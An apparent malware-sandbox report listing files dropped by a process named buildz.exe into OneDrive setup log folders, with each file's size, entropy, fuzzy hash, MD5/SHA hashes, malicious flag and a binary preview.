Preview:	1.0./.jb..wS's..\|..o......)F....$.rR.3f8.U..+......c..D6.8...p.}+.%.yL.J..F..4.ww....<.)9...o..P..+..A..KZw..Z.V~.3Z..h6.n4.s..G.3.{.ig..D/...Myk.....q...-."...$I....^...BR.....T.G.N.9?bH..H...[f.A...?.i1(....D.1...,..x8.....i4...$.HB.bO/......E..VP..57..y....A.1L7.d.Y}..]0.p]A#u.D'....M@..n..6D..b[.Ea.:.mUs.2,A.:..].]w.k%(.y.B..Q..4..c.$..F.$..zx}.CN ...>7\|......y.Jr......tF.(.......A.7...I.L...{2..V.....];.[..&._..;..LQ..)b..&......w.;/...f...L.QG.+._P...".l-...,.>.iG.6qO...8M.Re....%Y...O... Z.B.b.!."3?.TD........z\.../+A..2.p...m..>.5.&.i.;..\|.9D._......y$p..v..K99...3.'..<.Q....4Y.am..>.A.L.H\|H%v..N...V..%.a._....\|.......?.Bq.;...DPZ.n.....?b.Ub.x...Vx.. ..}...F#.#M.gV...B..p.+S..=@o....By.......\|.......w.....~..b.%.E......`f.(..g.....7...{L*..<w...&.7@..0......e.....9IE..hb....S.......S7...f\|.2...n..x..hp.......\u/E......f.U...v3...}..$.......E3?.u.7T?........y..i.A....B.'J..jq>yE.].~...7.&.r[l_.".d...+.>.(..E..,.~.vi.$..7.x.cP..i>&

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-04_093243_16a0-1d8c.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.649242740001929
Encrypted:	false
SSDEEP:	1536:xkB4ibByXmjou0urMR0rNQqOC5xqWqOMF0aNjhgaQ45cPxeTa:+BrbBimjrrNACdqUMtr5u4
MD5:	1CD3B944AA778AD490CAB37B53F56F30
SHA1:	F1F0642CCCC0148C2A3C741787056CAA3D3A6D2F
SHA-256:	5B42001980E92088A9A8702AF075775A49CF468B9B42D2BDB526975C09F6198A
SHA-512:	9FB7C48A6B9BD9E81F6857CD010DF4605138B00A025E8CD2704A23B52FD116826EDAC9080188369A0CAD0DEE82BB2ACD721C095D2CCC314A1E192AE0C81D0671
Malicious:	false
Reputation:	unknown
Preview:	1.0./......@...;..n.......fw.(d.v.Y...'.J.`?.V.....o.a\|.H:..k{.&<e..E..<.x..Sk..CV..')..Ucn..U..%.V...{Y .h..........M`...e.A.wU&..;....U..<..t.....g....b..{..l.M.cB=."..9..{q...4......`.9TkM....X..}..%.K6..l.D.-.wP..$..w....}P.r...}...$.~.q...x...........@..8.V"H;Y..;99...h.0....k.;...?..V...VL.H...0...^...$.yJx.....c..G..s....3.[Ws_...........8..0J.-Sz....VH^...o;..N..E\..l...T..3..^...:....R..g}...!x.'.f.5e7.....+HrDYx...1..dd.."3.@.\..b....b..f...m...=.$.........S..U.3.7/.O..mn...zZ...N.xp...t.<&.:..A..l.`....rc......... {.\.-@......dw....J^.>.)....z.A.l.s..[U.rG".q...0nv.Y......J.Do.....Q.{...}.....Hm....J.Qg.....@t.c....j..E.`.wO..O.u...4;[.....5...].....3.,.w2...V.qr?.%V.\..;.I.................h...T m..V.R.......l...z7n.eW.)>....@\...H....p..D.(k..oy.8.azZs..!}b........._v..J.........U.t....;...G.....t.S...(P.p[..+..;h*..e@O......=...#.W...I..l..`..h.[-z.>..X.A.ey..CR.4..=.).nS.U..z4.=....hQ.p......Q.......~jN.,....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	30630
Entropy (8bit):	7.993650793324485
Encrypted:	true
SSDEEP:	768:uHhKuptIwNK1dZdBpy+s2qHcl4KUAE0+sfydKTkJTq5zij:uHhtwNfI6vLnfre/j
MD5:	0CC1CC5865A1FC085844AAAD701212F4
SHA1:	218DEF50AA011F47B5AEBC0BE10CFDDE304950FA
SHA-256:	98E4FF42DA6B68C08DE055FD771268B24DF7392A04EB1BF457CF8A985D8FACA5
SHA-512:	85CECBC704A58625C91F4F5C1494BE47534B4DD8F289A383B1EE691909E662C44CEBE3FFF351E0FCA276EC5DB50CCC3347A50E66E5548A052A6134B79DB010AB
Malicious:	true
Reputation:	unknown
Preview:	1.0./~..j.TP.#...!eR..p...\Y.I..Z\.q.?1......K 8............/..V...G.7.B.,....P.tX.v..bm..$p..a!...iqK)#..s.W.K...@Ok.pxA&.eq)F.J.\U.(ih...n...r.....$.....@...#.....~....P..x..+0.}.'...W..b.]>0??..#.....x........s+]?._{..`..-.H..xs..r..1W.14cV...,c.\.........9.XM....>.^....(.A..Wrg7..m.l...h...+..z.....zw.O.........$.h.E.=.,.r...s...".....BH...s.R.<..f-%..X..<O6l."..N..,....d$.b{...U...s.....wi..Z.=7..U..b..g.9..o.e.#.pg....e-.......(..p.....G..jf`o).i.m..U....2..~..!t...U.....jD.Q.....e..)..3.v.[J._..@..w..j.c......sX. .. ....q.2,{2.,X.f..]#...C.z....L..bo)....(l.5......=1.+...t..=?}!.L....N.=..^.........G.X......e...}e.{...+{..p.a.Hf..9.H..N@..h.....@..8;..L.^.Z".. .{.......1..m...#.P.w.m....#[.....F.;).0.G.........).......kG.$c..zL...*K.........l..........Q.?..4x.Y9.'..../.t.g...-....l..b..7.,\|....9..].`+.z..U..8if...hb'......n....\|Fn..F.P....5..D...^p.!.g....KI..A...u............Cn1............O.........#......k...^.,..j...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_115005_4240-5892.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.500814558121959
Encrypted:	false
SSDEEP:	768:nqRptFfzTnXnAu/jpRTypNdfgJs31C68:noblr3AuL/Sd4+3H
MD5:	0349B8E8AAAA77D081291B55CC95D23E
SHA1:	14DAF5DD6E7FB5E7A8ED4A3A496EF3022206BECC
SHA-256:	5D1DE11D69DD7C31A7F157F458D0C19BA10EF03922B73F5EFBCD3E44487366F3
SHA-512:	33A51F8EA03E6FCB161569B3BB1157A4891367D663B0B8B57326B1CD2432A1AEF49AF7BDF645F7BC6A91164DAADB262B6C6306B5E6EC39A21273053673FC6F4F
Malicious:	false
Reputation:	unknown
Preview:	1.0./+.........b..a~.z..T.h...q..c..V;4l..Q'...vn. ..:..(.w.!....C.C..i....J\[.cl...B.~.n.......o`Q........{Z...3(..&..q.....)..A...V+...`...q7.,;9h..{.......'\..J~R...I..GJ.\...u....?.....AG9...7L%P.mt..Ra......F..R.V'...9.........l.T8O...{..AW.%O{...D.'~.I.........1.a.,c...^E.C8..s...n\|c.~.[2.....K#....RV&Q..S.=J.4..vL.$S.t.1.K..e...0.o....`...UV!0....y.W.wI......!..+b..{.]j..u..]Z.%BK&..{....I.@..P.!{.....W....-r.. .....S.b...8..6\|!n.o^l.=b&D..p..91....a...... {........N~qT..D..p...Ua...T7..y H.......u....%....rN.sH.....v..xG3'...o.. .,v.K..Y...g....i$.:1...X..wv)....f....Y.S.l...f.lT.`.t......".4.TbN.1......%......'r/8&m..7 .`........k..u..tYYq.j........:...KI......d...!...Z.>@.D.#.....~.ZC.B..0.....O'.G#..e..Ed.tx)Pk.<.%q.W?..0I.M.....6..QP._..n.Y..R-.1.Wd.........^.o...l.8.B..Y....Q.....DS.@.$8...!.9..+;....?...a@VG.=..U..d..........H.........t-D.8l.A.l.g.2...;*.k.u..M....A.@...wO^...cQ.?......aN....2UN..H..+...m=...fJY.+..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-04_093243_14f4-1074.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.62856861898944
Encrypted:	false
SSDEEP:	1536:NczAieyTN920zrj++YSF9jaTnHpHh7ud0iFoa5gGcUjTGTlWqCT/+mkvN0XwqqRj:NGeyiaGSfGqmyoa5gHyb+mkvN2wqqs
MD5:	2B4B141F5F1B4396D84C00C40B542C3C
SHA1:	43D23055775394E425BF80C0ED1120F052996AD9
SHA-256:	FF518B42D4CAB06A4E2DD9078DF522F2A003FCC6686DD464ED35C651FB995F99
SHA-512:	738FAEA9BA43DE304D29A6B5579B3490932F3EC3B6E1290FD62E9ACF084AAC241CDE15CF32CD8E16CFB149E6EC8B6734B5237194B0D8FEFE6198C8706834614B
Malicious:	false
Reputation:	unknown
Preview:	1.0./..t...vzE`....&.l...D/..^.6...{.2.TX..a..>....[..17.4.......2.".9....o...AC.O2_[.@..1..w....O..X.....'o.GI.r..(ZV........E<.\...{.}@..Z........}.[...`3.>P..nR...vy{P..WY..W.@.\......p.4.AU..t`%..._....OL..C.z....d..q-......`a..n.\.~...._...9........#.Ud1.%..P.DuhM.@..x&..-.P.....qs`.5.y...6.....&..=.-.2....bop{.&eo...Q#R....hB.0.)"W......."u.........&o....m.us....^.....<..<.Z.'T..].kK.f..../_K..(.Ab.q5.Qcu.....N.q..E...%..3.......%...!..B.V;...J...aRPt.7.....F.U.....3.....#..........<...:..._..s.w.@...h..y.Y.6gU....t..GS.x[.`\|.C..............>..j...dem....WCej...a&k....q.D.7.*.K..IX....t.....r.}.X......$.W.. `.v,....S$...Jd..N..r....A........d.{7n...+k..'.S.x...n...A5..u...4.:[N.wo5....-%#.+3d.v.&....ht%C.n..ve................5..[.C.......U.4m>..S..taz...I..-..e.............K.D....Q.O`.g.l.Mu.7..R\|xP....03'..."..Q.6..g.......P:....Qu,...;._...5.`o\|.>z...iZ.>..1..W.>JC....d..w.{.\|W.R..@:b..H...1........5...Q...2.i..y.[3..\.e..Tx..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2023-10-04_084137_4224-6092.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1022741364698456
Encrypted:	false
SSDEEP:	384:WC0+y/K2RoLe53dYqe3o5FZveio7/GgmtyKh:FyS2we7sioqJN
MD5:	4EC8EF9953ECDDCB6E5A63E81614DC10
SHA1:	3E6A0DBB7E0B1402AED4A02160F5C3FDC48377CC
SHA-256:	BAB389E3C6F8A296DEFBE0078E376274CB10DCA92858F54B3C1882D14FAB0EF8
SHA-512:	95AC8959BF3E5E383FED3A605C59074FD181CEB4DFBA91E0063CE1A94D51AC3A3A1E9EFACC724894652086CA3F51372A692C24B796CE7636EB3D8E13C7948130
Malicious:	false
Reputation:	unknown
Preview:	1.0./..j.L...b...H..,....K..;..Od..:^.D.".H..<..aH.....)N,..0.B..9,..{....\|b.....%...D$K..9M...V......Q.TL.A.gz......i.k{kr.'.N."....^m_.V....Z....E..7;........a.V......[.a..Ds.;....m..(....Lm...-..\|...2..Z....\.m?............pWj....p...gaS.....i..0...5.].L...}7E...>.C......8.........}.`...W....fr..}.]./..F....uL...Z...,9tX....].,@.Lt....J.Fm.....%..l(...D.~....p.Q=...-@..@.ggod.ja!.....Gq. 48...j........o......jO...&:@D.]..D..=..`H.c.v....p...[%....U......c..4Z....e.0...P...F4.P..xj..y.l#.Y.b...Oz-..K....\|.N.g.c......U.O...\....d.9WmS%9...k...4.N>q....".m.Jl..a.y-\|:!.L.mc3\|..Q..ef...X..E=....I..t.L...C...j8vP.v7/9.>=>...Q\|...[NM./.#........x....$m0.)i........;-..I[~@OW.......Y........Tx...{.......Q....]..~....-.....4F..t..s57q..:....!..6T=#*...{^..ij...._\|X.L...9<.....D....pIk.....3.bNN.?....ZO.C..82.".....h`,+C.f..:.-;'.]....{q.%.G..];k..4:@.tH......e.SOKH..... ^....u....c4.t.Kp.2..5.c.b..z.5q....B......_8.....yw.=.)la..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.aodl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.966826077516647
Encrypted:	false
SSDEEP:	192:RczJQploprOt/Wb0ivaz1CXr4dqVAyUPk:azul3t/FiG1srMByE
MD5:	1847478173C66E0F4EE43C189DB9623F
SHA1:	04890237728DBD2782F7AC73081D02D7B87BE49B
SHA-256:	8F0D10F3A17007637EC38A548E3ACAD2587E681B40EFB9068334693A2E5900D7
SHA-512:	6E0BD6D68956C2720DB3498A3942F17F881273BC3959B7547F50EE5A5EB2DD48E345863DB43CC62C32AA82C25AD64B7F192C25583D82661B9035713A4B701F50
Malicious:	false
Reputation:	unknown
Preview:	EBFGO."..A}'0o.......Y2....l..x.d...e+.n...(.Q...!.<}.\h.8q.-.{h...6..Z?.\|.s:.qmD]xp..%O<\...gyv.....d{...N..JX..D..:..Ff..\.NX.^Eb2.~k.-.O.......1..mC....^...5.,!C....+......i..bD..A..7.i.L.Wm......x.)72...FU..4.....<.P.L.M..$.m..3./..T....i+...w#J.. lc=`....`L..W)...Lj:-prSb....Q2.^...W..........M...Z^....u.M.TH...pJ9/N...7..=d..Q...8....j,...@....8!.k,....w.~....PZ@..x.W...!.\........8.`....e.6@..=p:...w..3.H...v]].......j....9..;.O...g.Q....(.p...u\.e...x...6..X......M....m?Y-.k(m..r.&1\&Sm.....GTB....w.=...n.......U.Y@.^.l..'#?.$\.;....M.......</}@.v.~.eO{.~...;.d......Q.<..;./+....M(.s..@r...dy.....xBB.Un..5+..af.+&.[....?.%.(.`.;...GA...?......\|0X.... ._.MG..........).._$:..?..3l....."&.'N.......!x..k......O.HY..].....S.B.y..........<u.p...A....Z.......m.p,....8...fm].M4.z..\|Ug>....\|6I...`....O.g.h.a.2M.q.]..u....f...%N....RJ.<^.O.....D.....ue..X5.aO..4."..~.}W[SjL%....^'...d.DO..g...N.....0......l....~..\...@.l_.."3:........}.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.5623935026965359
Encrypted:	false
SSDEEP:	192:mObW+80V3HC2lbCC8Yk5pRctxy1G4vOmBQUyKf:NblXC2qtRA/4WyQU7
MD5:	310C1D57E5285648CD30F56D02ACD762
SHA1:	2AAA7420F425CDA7F8E8F0A04FD57003D280D7E4
SHA-256:	232B8ED9286FAAC74D77FBAE837B2ADE900368ACBD2CEA342851A3FB15312986
SHA-512:	3D8DBBE0FD0830199F319C44FE106744FB2E6AE99C6986676780ECC56257C97254587D79664BA5CC8A24236ED20B4D5EE54D2FF648C5682C07404010734ABCF9
Malicious:	false
Reputation:	unknown
Preview:	EBFGO...~.......g..}.I..6.G....8...R":..;`.." .@...'.E....^>.QN.._n.....&....i....u}._.=q..m..#D......L.)..E......;.....4....j....r...P..s.....kJb.V.:.......M...(..y...C...%.R=.T..T...9...X.7m/.s...Y..r...J.(,Ey...n.n..r}P...&.^.+..ke\.$.[4.-..m...@\|.......3..H.SGA[...`[..)..?...R6.?:...{f......eE.Z.Z~`\|.'.A.......`..\.....Q.b..........2..L....vm.:6..Ez.SO.Y)^.4....5...vZ.........Z....)..A.T.i.......7.?.V.D.yIk}Nv#....,d...>../.V<.r..l0.....X..x......._..h......,.oD.........V....ff=}...?..e....8k....a..vM4..5...R.f..P..IU...i.]..6..j...R.U#.......E..5.....[....I.C..P..I..Q.zdD<W.%...u.......[:Y)s!.Oj`.?.c...z......W.nU.NpN..n..#N.)A.L.."......D..d..R..a.7...Oa.!...HJ9...4`..>.s-...(....I.GC..O......b9.`....v..[..r&.....]....X..v>...`...p.=0.,...)...5.+...6..;1.gwZ...l.2..P.D......E.:...."..H.y=7W.>......>...~..@F'...Q..~#jU.{ ;!#....Z.J.._.....5C...<.VLk...U..K7.Ta3.pm.....(....0......,.8Pb........-.D..H..8B.Z0...U...v..(uU.)*.d.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.aodl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8643441339028017
Encrypted:	false
SSDEEP:	96:kxdwCeEPnMXC5gmnH4L+UeUsBSbT5wXgCecj+SM876MWatQry:yDRsOfH6xs435+juSM01ty
MD5:	F5FCDC92A7CCE2D0006353C33CD1E241
SHA1:	958081F1E066994E9FEACC9C5B2F30BA22C880D9
SHA-256:	8960C1DE7109FDB71CC0D5EFB058593B23C4A7CC445788152620CE7138DA0F71
SHA-512:	5684F571211181FACD1C2E72E3812863CC7B4FAED36D6976B51A57A1AB9B15186B3E7FB5D1998055B453154EF91665E265C9C8D183B0764D121458118969F95D
Malicious:	false
Reputation:	unknown
Preview:	EBFGO..wO.W\eR.#...(.N..5%@.k.GPp."...t....-..$P'.........!.p..B}..]1.....TAb\.....g.=...\..K....F.3......g...s..%.....6...'.I...^....&.~...<H6...#.r.n.3.C..h.M..:..Q.>{....iG.A]v.............._^. E4....;4r.{7zde..;zX.....4.y..e..j.8.\|D...]u...;..d.s;....6]n.S.,!v4.h......N.K{.X. ....J..rw.LV.U...0!B2...f/.Qc..{g..8~$\|.x-.a~...v.....g_....8...Q.....e.3>".....MH..b(..pN.Hzd.M..........1... ...F..X..H..C.\|....R.G.....y.x5x...).cK.RB.}..P.8.c?ClA.x.1....%...z.....lZ....;....M....&..g.!.4.r.x/9..~...%..=..Q.'..2...."2.P.}..9.....%..3..d.L...M.f...MIy.!_w./...Ic^....j.........fJ.a.`...=..\|0....iZ...p.....\T`.....X.....-.4.....X...._...h...6.7.KR2..F(........pu..F......\.,g.I`E...(...7e..rI..R.\.<..c^-..1\|..\.us#.V......."v-..JE..P...Gf........U....Fs..`x.+...Z.CQo...W.Dy....A....Z.m.......<..s....<.UM.k......4..A..b..........u.0..R.Q..{.D..\.-u.y.n ..{...OA...'.*....:~..h.....KW...r.8..$.: J'$.#o....g...Y.=...y..."...:...^..R.'U..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.odl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20543737403800666
Encrypted:	false
SSDEEP:	24:an50yGQ8SucmY3lJ0rB4dGlzMz3a6tDbz:al8SZJlJ0rudGl4mWz
MD5:	F1E034347352DCC55CF7767609AD56BB
SHA1:	0FED506AA243CA659FC0B2D21BB68ADEB7517F14
SHA-256:	B317F0E0A718BFEE8306F9CF885AA1A364F049FBD8932E7749B162EF57843537
SHA-512:	0C529BC0FAC3E659E79DCE42ED826B1BE7D1E1E288EBE715715D764EABBD87E823667ED99D1CCA5B7C40E7F57F6F2F95D3293946A68902FBEF0216E124653C82
Malicious:	false
Reputation:	unknown
Preview:	EBFGO?...K.n.>...E.,.C...O..VM..hZ...K.<.i.<.l..-..i}...!..)..b.v.epy{..d.8..T.\|...i-.^(\|...r\!e.]..fJ^.v..dz+..4Eo.6)8t.}...d.H.....8...Q.<...\i.6@./(\|.v.`g3.x.S1....t..>...0)a..^...G{s..m.:...<o....K.:dn...m.po.w....1v.8.1K..4R._...j.f.././!....GD2]/(..e....g.p.Nor}.x.....~.0...&.?pH......s.d..\.....u..8...<.W....k.l..Vd.Z..&..6e.G.....:3i.O...\.8...s..{Gf..uCG{...p..z'._.u/..:....6..^..6M2^...x..<..Y.g+......LR....i...m.k......S#.DO.....+'.@...&.....c<t=,...=.y].KtN}%.\|...#m..%H.r2.....C..NV.Z-Y.d.bc}...2.q.1DK....x...9.\|L..-....#...#....^..<.Vh..X.dx.)8P.....B-...z....v.....:.q.LQ.=....f.....=....1!....t.....v..t.......?.@...u0<e.A.X.VX9..B..6u,T........}W..U.\.[0.'...sU......7...~.........b.k..5.T.}....8..7......p..%..9#.....y.Z.r\|..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2023-10-04_105957_c7c-3d4.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4586385013380063
Encrypted:	false
SSDEEP:	384:DJWUcGziw/kptlYHJ+6HSJBVeh6EH81peuxp4SytJLEgzlN:aGzi4kHlsUZq6I8iMa/lN
MD5:	82E12CDCDA7348E8F93329E0086F7C6E
SHA1:	F88208CC82FE01C1CA92997EAEACEBEB8F6F2658
SHA-256:	DFED7CFF402090756D9A2776A91F6D34B13BB177454CCA87D47D61EC2B99E701
SHA-512:	951F905C213F55BF7C313D63DDA108B393F4DFAB9A0FE8A377EF871C4ABFBCBF307C85F9EAE5BDCFEA085F73DD9D27BCC7A787D266F1E47155259C90754B2F1A
Malicious:	false
Reputation:	unknown
Preview:	1.0./.{.$!&}.u..WO.Y..H....F..T..l.....vPf..J...g.'...a.y..g.P.)5....l!9ve.rsVb...Q.C...PLC....5.#^..X/u.........N ....".n..W .!..x ..%9<".....T.. h....h..@..>...}.~.U.7......._)H..IE....v..>1B.5.u...F..%.A-....+.yc.].<R...m..?......C......o.0=3....;2..J/'..I\....r..'[..".T...B._(....op.rA4..});......[xC.R1......).:......k.p.....C...H.....u..Q....Q:}.JF .....&?=ZL..S.S..p.d.h.bQTrP.2.L...c..Z6.........<%.2.8...T.....?E..X.~..4d]V..d.H..Y..b^....q]....mB?j....\..{.F28.......u........;f...+..8D...al....p.8.W...$U.-.!.........1G8...........%T.Z.....D.\....9.b...aN...@s..u..6e.._..N.W.3.W..T$..:...e,...h.mj..>!"...~.....(3t.$.u..6..-...~..S...(JV.A.'..A..)....B:..O...>Z.....v....,.-Y..].!......$0;.`..V.R."&....A...]a.:4.6...=..=Z.v...g....KX..6....>..hc .5r...L..'.w..6.7..!....O.....zb+...j.'k.t'{C..`..%8NJ.X5.i..E4.Rk.P.3.d.#..&"6......q......L..EL9K..r..sF.....])"d>C........-....O".<...V.&t......;..ms...x.;;.LD...W...d..S"....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.aodl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9384366417055382
Encrypted:	false
SSDEEP:	192:i7WP+Lrsdv8Ap3bij2bARo84zxNiZx08rqB:IWPwsdvxb6q9N+x08
MD5:	4A272A4C7F2BECF2708DA8A67E3A6B19
SHA1:	187D3B7A249F63F90ADB96D710C49CC4121B6887
SHA-256:	AB57A57D9D83E1BFE4C75871D7907F31E736BDCEA8853DE141B7EFB007ABDFE4
SHA-512:	16861F9906E4365E6BC6C4826F883FFEFFF60EEF55926ED09F28BA86084F8386764C6CA1BBE4239EDC8A9EE9C94FD033DEE0A57D12AE6D34C638867F4B41412E
Malicious:	false
Reputation:	unknown
Preview:	EBFGO....@g...zgH....(J.&.(...A.....\|..P......b..B.O\i........9...>~..E{OD..P......(.......f...." ..[Kg.....L..>..0C=/p..ro.....p....Q.v..fj...ONB...z..@!.^....B.fH.R.@..X.!...Yx../....M...qU.WK.g.7.~.m.[Uh.....#=...,..}j..4..%.5.......Z.8..L.....).U.V......:_....t....@nC...S0.. \VM....w.R.eQ]O.T..@.x...HA....8j.Tn.WJ.,"N....E.d.......Y%....6\|#H.............(.b3.l.M..S............Y..8.#t2o%.....#.d).g3..F.3o{..lp2A.+=%.]..b.E.xW......9..:...i...WAGB.~.......W.../QJ..~N.E.\% ... .......>...Q . .q9......=...y.'..e..xZ.....F..QVJ.=........\|.....dl.....5$.iSC7.E.A.g..rq.w.+....6W.D..m'.k.>pw.2.#..h.ti.P.P...C...2.w.A[?..,.z%i_eP...J..U.^..i...3,.H5.....k...y.....F.....=.......n.\|..&.c.....Y....B.m^.#.R..s.w...2..... .g..2....(.K.....H}.L..ZX...<.9....#?.H...........n..s.u.n.$?+./K.=.VO.Ren...g..Hf..Kh..o.r..p9.r}....$.[..I'8....P0.N..H.E..!...j.K8.V........L.oC..Z..k...^..f.......?.A..2.cK.rMIT.......>..Dq..'.V....l/.H.G. .."G&]T...X

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.odl

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.2060531921103216
Encrypted:	false
SSDEEP:	12:VYxhFBqtZgX9o0DpRrIO7ncDzDzJBiqGy6pTZMKTTAAN71zI+/txZ9ZN3/FuTWHG:VYTqTg3TabzJz6pT4ANR8+/DXwTWUbz
MD5:	DF0889D1B9D91312B545EEFBA0DAB153
SHA1:	ABCC6BE3A6A3E526B6E5FFDC66BCB68928BC8CE7
SHA-256:	5057B433FB99292FAB1C5949C6586841513140721D872F29E9D673253F2C298A
SHA-512:	C0DF73A1F07F557CA470E3D92D02F093DF6C2A3897E74B487094188BF1A1177874AA14A6D419FB3A260DC100589B2B38ECFA77F07A9E3C86AA44234327D54ED7
Malicious:	false
Reputation:	unknown
Preview:	EBFGOp.%.\C....?a...1.$.....\|.........m.r.I......,..R...xB.],..3..0.......(...,.t.S.....\.._..T--5..O."..h.v.-~P.M.Q..^y.t.,.m.E.{......W.E'.[.}K...(.X....l.A....%..<.p7..\...SO.G.1..}.......l...`.H'..h.k;NW.S...R..W.Ys..!/..An....L.........^o..am...^.^...I......I.8....G........x..1w..h.K[.fPl.ndo.z.....U.B....o...!.@.[...x..........E(..eD..(...\...".;.+.....va...<....2Zx..t?.Y..8..:.\.......;.\|2B.....]R;.e......W..h...-.o;..E.[...!..v.............bzHus;..\..\|..E..v.;.-`.5..z7...N..h.m.=!../.o.4.Vi.....N.......E.....y..<;8.G..?...w..p...I......>..P1.O..!h.GY.a.............\|..p.h...Z..Q..:8..`.... `..2..E....u...c..Ao..a.n..l.o..d....P.xq0......b..{.'..y Bw.Z0............I.=...Y.,@..z......8..xj.....3s-o.....x..z=..7..y.``+..h\|...V.U....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2023-10-04_105958_19ec-19e8.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8927952254601856
Encrypted:	false
SSDEEP:	768:HIyPxIlx/AntXvyBiObkG4P0V4RDsPWAKthDHh:x2f4BvyiObk5sPWAQ
MD5:	9179F19D0189E1D81D0E4CEE6215E195
SHA1:	E5E8A43B10D6843DAEC1175243C6F89EF1171864
SHA-256:	A8B2DA9D2C53EDEDF7CD0DC10501150DDD8A2B9030E7DF00F7DACFC4AE167D05
SHA-512:	9BDE616BF0D5C9651C8C8243ABC0B0F5E8618AFA01FEB00DF44060EE19385CB074CFCC5166D7EF42CE41F7A25A8F2948DA6388B4BC7BA41570D49EBED412D5B9
Malicious:	false
Reputation:	unknown
Preview:	1.0./]...qW...L5..N..w.........fh!.y...-..g..~I7....q.P0.W.,.9.V&....<.@.0a.....Tz.U._9....R"-..D.\...#....."cm.K..&.0...E..g.~tZ....+.0k..,>.....D.N..o.\|@. .Dx#-eP8ph..+..J...G;.7.xp..t..A.T0.\|...l....O8&...#yS.A..ho........+{..}...n.....\|...v...j&...].......4.-,.Jd..J.(.....T.d.g...... .Y.%.T..%e..i.......xd......O..!.%A..Va.4..]<z.d.o._.......1.7.#.v..u..I.z..du..2..+..-X.C"..\|^...^.Bw.29;.0.R..].gEy.D,.[..X'[.....vF.._..t....)u.......O./.E.{...\|uzg.p.9#...@...Q~..\..90K....E...V..)/$i.o.4..L..(,8.....%.Ok..k...:t...D.............6......6...QF....&qz..j..5.>.9..Po(....qK.=.#..&R"..'...i...I....&U.[S..RE..~\|...'.0}.fq.2.*...1_..!...kd...&.j=.[.\|.B9..M....k.N.R.......X....M.&..}...9.L..<K...G<..........0.K.&x.f8..8:....Z....i[.}.A....c#\5..;.4.QD.i..6............K..'...@.w.7#\|........z..U.3E...oz..#k.`...&.....vI....Y..j...4n.Q[...E.........g.ir/...%....<...8..?Y....._..Bi...\|.Q"Ar..E...l(._L..".Kj..n..j\tH`$..O...#..{I.k"....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2023-10-04_105950_1894-1898.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4117370147353405
Encrypted:	false
SSDEEP:	768:UWBYykDlxbbmsyQRJD36kIx8x//XEaCw:BB0LyQHuktl
MD5:	6CCD79C86A7CEAB1876F54DE610FA3F8
SHA1:	BA33A36C15E81E3BC9D32C7FE3138463ADE3B501
SHA-256:	0335C16F0EAF085AD128DAD556D4305360B0DC841F7A3F20B8622E2077085A62
SHA-512:	476C0939ADB277F93D8B029018C363B51D5841F8CEBC982B90C132C2695050540FC24C7CA1A403770DD2DB8CDCD55E9C44785E4DDFD77CC89656E6084565196D
Malicious:	false
Reputation:	unknown
